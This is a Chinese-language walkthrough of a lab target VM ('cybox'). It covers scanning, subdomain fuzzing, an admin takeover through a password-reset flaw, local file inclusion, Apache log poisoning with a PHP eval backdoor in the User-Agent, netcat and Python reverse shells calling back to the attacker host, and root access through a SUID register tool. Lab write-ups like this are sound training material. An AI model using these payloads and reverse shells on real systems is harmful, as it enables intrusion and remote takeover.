文章目录
- 主机发现
- 端口扫描
- web渗透
- nikto扫描
- 目录扫描
- 提权
主机发现
使用nmap
扫描局域网内存活的主机,命令如下:
nmap -sP 192.168.56.0/24
- 192.168.56.1:主机IP;
- 192.168.56.100:DHCP服务器IP;
- 192.168.56.101:Kali IP;
- 192.168.56.102:靶机IP。
或者使用netdiscover
通过ARP数据包扫描网段,命令如下:
netdiscover -i eth0 -r 192.168.56.0/24
-i
指定网卡,指定哪个网卡,就扫描哪个网卡所在的局域网;
-r
:扫描范围。
端口扫描
使用nmap
对靶机进行端口扫描,命令如下:
nmap -p- -sV -A 192.168.56.105 -oN scan.txt
-oN
:以txt文本格式输出nmap扫描结果。
可见这台靶机,开放了端口:21
(ftp,文件传输协议)、25
(smtp,邮件传输(发送)协议)、80
(http,web服务)、110
(pop3,邮件传输(接收)协议)、143
(imap,邮件传输(接收)协议)、443
(ssl,安全套接层)。
通常情况,先对80端口的web服务进行渗透。
web渗透
nikto扫描
首先用nikto
对网站进行基本的扫描,命令如下:
nikto -host http://192.168.56.102
并没有太多有用的信息。
目录扫描
使用dirsearch
进行目录扫描。命令如下:
dirsearch -u http://192.168.56.102 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak
或者使用gobuster
,命令如下:
dirsearch dir -u http://192.168.56.102 -w ./directory.txt -x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak
http状态码的含义:
- 2XX:成功状态,表明客户端的请求已经被服务器端成功接收并正确解析。200表示请求成功。
- 3XX:重定向,表示客户端需要采取更进一步的行动来完成请求。301代表永久重定向。
- 4XX:客户端错误,表示客户端的请求存在错误,导致服务器无法处理。401表示需要身份验证,403表示禁止访问。
在目录扫描的时候,我们发现了assets
目录是可以访问的,但是没啥用~
然后,在扫描中也扫描到了phpmyadmin
路径,虽说是403
,但是仍然存在,只是我们没有权限访问。
回到主界面,看到cybox.company
这个域名,因为这个域名并不在DNS服务器上做备份,所以我们要是直接访问cybox,company
的话,是解析不到IP的,我们在host文件中绑定域名和IP,再访问该域名就可以找到这个IP,因为本机host文件是先于DNS服务器的。
vim /etc/hosts
# 内容
192.168.56.102 cybox.company
source /etc/hosts # 重新加载hosts文件
这个时候,我们就可以做子域名挖掘,看看cybox.company
这个主域名下还有哪些子域名。命令如下:
wfuzz -H 'HOST:FUZZ.cybox.company' -u 'http://192.168.56.102' -w <directory> --hw 489,27
# --hw
gobuster vhost -v http://cybox.company -w <directory>
gobuster
好像扫不出来,不知道为啥,还是用wfuzz
吧。
vim /etc/hosts
# 内容,vim中连续yy代表复制当前行,p代表粘贴
192.168.56.102 ftp.cybox.company
192.168.56.102 register.cybox.company
192.168.56.102 dev.cybox.company
192.168.56.102 webmail.cybox.company
192.168.56.102 monitor.cybox.company
访问dev.cybox.company
,有一个phpinfo界面;
访问webmail.cybox.company
,是一个邮件登录页面;
登录窗口先试一下sql注入,发现并没有sql注入。这个邮件系统的版本为1.4.22
,搜索了一下,只发现一个远程代码执行的漏洞,但是前提是有一个可登录的用户名和密码,所以也没啥用。
访问monitor.cybox.company
,也有一个登陆界面
先试一下SQL注入,直接报邮件格式不正确。试试抓包,修改POST参数为万能密码。发现并不可行。其实联想到主页面Contact: admin@cybox.company
,这里有一个email,试过之后确实有这个账户,但是不知道密码。
访问ftp.cybox.company
,也有一个登陆界面。
访问register.cybox.company
,可以注册一个用户,然后也可以注册成功。
silver@cybox.company
silver
只是不知道,注册的账户名和密码能在哪儿用。之前不是有好几个页面可以登录吗?一个一个试
最终发现用name:silver password:silver
可以登录邮件服务器。根据之前的信息,1.4.22版本的邮件服务器有远程代码执行漏洞,现在我们有可以登录的用户名和密码了,去试试~
脚本没使用成功,大佬有兴趣试试CVE-2017-7692
去monitor.cybox.company
注册一个账号~
进入了一个控制面板,但是好像没啥有用的东西。
试想,要使用admin用户登录这个monitor.cybox.company
,是不是会看到不一样的界面。根据之前的信息,我们知道管理员的邮箱为admin@cybox.company
。测试发现admin用户确实也存在~
该页面下还有一个忘记密码的选项,输入邮箱地址,重置密码的链接就会发到邮箱中,我们不是已经登陆到squirremail
了吗?
在邮箱中确实有一个重置密码的链接~
我们将email地址改为
admin@cybox.company
,是不是就可以重置admin用户的密码了呢?
需要注意的是,不能直接在url上改,抓个包,会发现目标emil在post数据中。重置密码后,就可以登录admin用户。
进入admin panel
,啊o~
在源码中,发现该页面是通过引入style.php
来读取css文件,加上这里可以传参,可以试试有没有文件包含漏洞~ 但是,需要注意的是,访问该页面需要admin用户的cookie。
通过bp抓包的方式,访问styles.php
文件,%00
(空字符)表示字符串终止,就是传参结束。没有%00
是读不到/etc/passwd
文件的。
既然我们能解析并读取php文件,如果我们能找到日志文件,并且往日志文件插入后门代码,是不是就可以拿到reverse shell呢?
dev.cybox.company
正好有一个phpinfo
的页面,通过该页面我们可以知道:
- 所有子域名都在一台计算机上,只是存放位置不一样;
- 中间件使用了apache服务器,后端语言脚本为php,apahce服务器的根目录在
opt/bitnami/apache2
。
apache访问日志路径opt/bitnami/apache2/logs/access_log
,访问日志记录网站访问信息,但是并不一定会记录所有子域名的访问信息。
这个访问日志记录的是
ftp.cybox.company
这个域名的访问信息。
根据日志内容,我们直接将后门写到UA头中
<?php @eval($_GET[x]);?>
再访问日志,就发现执行了whoami
命令。
nc -nlvp 4444 # kali监听443端口
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 443 >/tmp/f'); # GET传参,URL编码一下
# 下面这个reverse shell也可以
# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.101",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- 这个靶场只允许部分端口与外界通信,4444端口就不行;
- 不是所有的reverse shell都可以反弹成功,有些(如,
/bin/bash -i > /dev/tcp/192.168.56.101/443 0<& 2>&1
就不行)。
提权
登录到系统,第一件事进入/home
目录,查看用户。
我们发现有admin、cybox、silver
三个用户,silver
用户应该是我们之前通过register
创建的。
再搜索具备SUID权限的程序,命令如下:
find / -perm -u=s -type f 2>/dev/null
/usr/bin/...
和/bin/...
都是常见的目录,没啥用。重点关注/opt/registerlauncher
。切换到/opt
目录下,运行registerlauncher
,发现就是之前register.cybox.company
调用的程序。
python -c 'import pty; pty.spawn("/bin/bash")' # 得到半交互式shell,以便查看文件内容
file registerlauncher # 查看文件类型
发现文件是二进制文件。
strings registerlauncher # 查看二进制文件的关键信息
该二进制文件除了调用一些函数外,还调用了/opt/register
这个文件,去看看这个文件啥内容
创建一个用户,并且-g
为这个用户分配一个组,组名就是用户名。
在linux系统中,有一个
sudo
组,这个组里的用户可以通过sudo
执行需要root权限的命令。
试想创建一个sudo
用户,就会自动分配到sudo
组里,再查看sudo
用户的权限。
sudo
用户执行所有命令都是以root权限执行,直接sudo bash
,以root
用户调用shell。